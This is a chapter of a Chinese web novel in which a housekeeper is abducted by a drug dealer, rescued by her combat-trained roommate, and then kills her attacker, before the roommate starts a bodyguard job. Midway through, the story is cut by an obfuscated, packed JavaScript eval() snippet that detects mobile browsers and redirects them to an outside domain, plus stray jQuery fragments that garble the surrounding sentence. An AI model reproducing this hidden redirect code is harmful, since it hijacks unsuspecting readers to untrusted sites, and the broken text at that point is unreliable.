白天晴空万里,晚上也没有风。
吕秋红被扣着脖子,抓着头发,粗鲁地拖到天台。
对方力气惊人,她挣扎一路,憋得窒息而满脸通红,就在她觉得要因为缺氧而昏厥过去,毫无预料地就被砸到地上。
趴在地上猛烈咳嗽。
变故来得太突然,她也只来得及把小关送她的球扔在地上。现在无人知晓她遭遇绑架,心里很绝望。
月光下,才看清,对方是个胡子拉碴的中年男人,只是眼球不正常地发红,十分渗人。
啪。
一巴掌甩她脸上。
“秦振岳家大门密码是多少?”
“我……我不知道你在说什么。”
啪。
又是一巴掌。
吕秋红口腔漫出一股铁锈味。
“放屁!我见到过你去学校接他儿子!告诉我大门密码,我就放你走。你只是个替他打工的,莫非你跟秦振岳签的是生死合同?”
吕秋红不说话。
“别以为沉默你就能活,你对我没用,我分分钟就能掐死你。”
男人出奇地暴戾,一脚把一截废弃钢筋踩断。
她根本不是对手。
但在绝境中,吕秋红反倒出奇地冷静下来。
“掐死我,你就更不知道秦先生家大门密码。毕竟,是我在管理他家。”
对吕秋红的转变,男人嗤笑一声:“终于承认了。有余地,就能谈。那这样,你告诉我他的位置,我给你一管上品蓝烟。”
他从破烂的皮夹克掏出一个玻璃长管,里面一缕漂浮的蓝色烟气,似乎有生命一般,流动着。
看到吕秋红沉默,男人趁热打铁:“这东西价格,能顶你几年薪水。”
吕秋红视线落到这管蓝烟上,心里有了大概。这男人大约是跟秦先生生意上有往来,但为什么出问题,她不知道。
“如果我告诉你密码,你怎么判断真伪?”
男人看吕秋红松了口,心里升起几分得意,今晚拿下秦振岳,势在必得。循循善诱着:
“我们自然有人同步去验证,放心好了,最多五分钟,验证成功就放你走,到时候秦振岳也是个死人了,没有人会追究你的责任。”
吕秋红心凉半截,没法糊弄过关了。
但密码,她给不了。
见吕秋红又陷入沉默,男人耐心丧失。
“给脸不要脸是吧?”
手掌高高扬起,狠狠落下。
啪。
不是巴掌声,而是被砸了。
脑袋刺痛,下一秒,一股热流滑下脑门儿,左边眼球被一片猩红糊住了。
“啊!!”男人痛苦地嘶吼一声,立马气得跳脚:“谁敢偷袭老子!”
吕秋红没有等来巴掌,头顶却叫嚣着男人的痛呼。
她转头看向门口。
那里,微微喘息,但淡定气质从容不迫站着的,是她的室友,小关……
吕秋红喜出望外,但又立马担忧地看着她。
关山越扫了眼脸颊高肿,嘴角带血的洪姐。
视线回落在男人身上:“三分钟。”
“什么?”
“你还能活三分钟。”
话音落地,关山越如猎豹,猛地朝男人袭来。身未至,棍先砸。力道十足,男人被敲得眼冒金星。
男人再也忍不了,嘶吼一声,身上的肌肉寸寸爆开。
那不是正常人该有的肌肉。
莫非是超验能力?
关山越此前在晋升考试中遇到过类似的能力的同事,没有多想。
那也一样打!
男人力量如山岳之势,但关山越更加灵活,完全没有吃到一击。倒是这个男人,被从不同方向偷袭好多次。但这么纠缠下去,对关山越没有好处。
这男人的超验能力太不同寻常。
关山越同事的肌□□型状态最多维持一分钟,而那已经是B+级别。
但现在这男的两分钟了,依然是肌肉爆炸状态。她不敢想此刻这男的代谢会如何迅猛。
她很快冷静下来。
哪怕是阿喀琉斯也有个脚后跟儿的弱点,她根本不信这个看起来就不聪明的大块头是无敌的。
她轻轻跳到男人肩膀,锁住他的头,再怎么变形,脑袋还是那个脑袋。
她高举短棍,用了全部力气狠抽他百会穴。
“啊!!!”
男人如泄了气的皮球,噗嗤噗嗤地变回原本的模样。
只是满脸血花,因为变形消耗多,他比变形前瘦了两圈。
此刻,进气多,出气少。
她赢了。
秦十安早就冲过来把吕秋红扶到一边。
两人目瞪口呆,看关山越爆锤肌肉男。
这个室友,竟如此……深藏不漏。
“红姐,这人你想怎么处置?”关山越和颜悦色地转过来问道。
吕秋红回过神,清了清嗓子:“小关,我想先和他说两句,可以吗。”
“当然。”
关山越走开了,带着秦十安走去天台的小门楼。
留下足够的私密空间给吕秋红。
她蹲下来,看着奄奄一息的男人:“你是地头油客?”
地头油客,是街头卖那种蓝烟的黑商贩子。
“呵,别把我想得那么下贱。老子是正儿八经的分销商!但秦振岳不义在先,断我货!”
吕秋红明白了。
“秦先生门外蹲守了多少人?”
男人不做声。
吕秋红意料当中,抬起手,狠狠扇了他两巴掌。
“两巴掌,还你。你本是奔着我的命来的,如今我取走你的命,也还算公平。”
她从男人手中抠出跟关山越对打时用的匕首。
噗嗤一声,匕首入肉。
不多时,男人眼神涣散。
吕秋红在手环里一番操作,将发生的事发给秦振岳。
秦振岳回复:【了解】。
那就蹲守的人就不关她事。
从男人皮夹克里掏出那管蓝烟,打开瓶口。蓝烟似乎有生命一般,窜入空气,愈发稀薄,很快消散不见。
吕秋红定定看着,心中升起一丝快慰。
最后慢慢站起来,把散落在脸庞的发丝拢到耳后,朝关山越走去。
关山越在门楼下,默默观察着吕秋红的举动。
这个红姐,真是看错她了。
这个小关,还真不简单。
走近后,两人相视一笑。
“谢谢你,小关。”
“不客气,红姐。”
秦十安左看看,右看看。两人之间暗流涌动,默默举起
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15776865|174765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
手发问:“那个男人,怎么处理?”
关山越掏出手环点了点:“我联系清洁工来收。”
事后战场清理,在出任务时也是常有的,都是交给清洁公司处理,价格公道。
“那麻烦你了,我把费用转你。”
“不客气,小钱。”
下楼时,秦十安按耐不住:“吕妈,你往空气里放了什么?”
“那是,罪孽。”
今夜,无人入眠。
关山越一动不动躺在床上,想着吕秋红到底是干什么的。至少她之前猜测的护士长之类的职位,彻底推翻。
杀人复仇,眼睛不眨就捅进去了。虽然她在霓虹星见惯了生死,但并非每个人都有这个魄力的。
刚刚看她和秦十安的互动,看起来也不像继母和继子的关系。
有意思。
吕秋红也很迷惑,本以为关山越只是个普通白领,没想到打斗起来身手利索,招招致命。
之前只是认为她不坏,现在想来,背景也挺复杂。
今天大家算是半露底牌,但都有默契地没有深问。至少有一点她能确定,关山越对自己,依然是抱有善意的。
秦十安在沙发翻来覆去,惴惴不安。
他都不敢想。和蔼可亲的管家吕妈,居然捅人眼睛都不眨。而笑容可掬的关山越,如此勇猛肌肉男居然说揍就揍了。他以后可不敢跟关山越犟了。
虽然吕妈不跟他细说那蓝色烟,但他直觉父亲的生意与此有关。
他是父亲情人生的孩子,回到父亲家里没几年。前不久,因为专业问题,大吵一架。
他想继续攻读古语翻译,但父亲要他读商科。他没听,于是父亲不给他缴学杂费了。
他用自己的积蓄缴了学费,但住宿费便捉襟见肘。这才跟着吕妈回来蹭住。
今晚这一遭他明白了,父亲的生意,太复杂,太危险。
更加坚定了他继续深造古语翻译的决心。
一夜未眠,关山越差点没搭上高空轨道交通。
黑盾考勤严格,迟到一次就扣200霓虹币,关山越拼了命才赶上这趟车。
进园区时,自动识别打卡。
到23楼办公室,气都没喘匀。
“小越越,你这俩眼袋够炒一盘菜的。”对面的卢卡打招呼方式总是推陈出新。
“卢卡,别总盯着女士的脸,不礼貌。”唐华抬起头,笑着加入谈话。
“什么男士女士,在我眼里都是队友,是战士。”卢卡举手发誓。
大家一阵哄笑。
叮咚。
任务派发。
大家又低头各自看屏幕里的任务。
关山越点开她的工作台上那封标红的任务。
【雇主安保任务单说明:
一、保障雇主安全。
二、遵守雇主的指令。
三、可击杀威胁雇主的对象。
本单成员:王一坚,卢卡,汪兆,关山越。
本单时间:今日12点起,共计14×24小时。】
视线落在“14×24小时”上,这是她第一次执行时间这么长的任务,两周时间不能回家了。
卢卡吹了个响亮的口哨,心情很不错,如愿以偿分配到和关山越一起出勤。
“走,小越越,做任务准备!”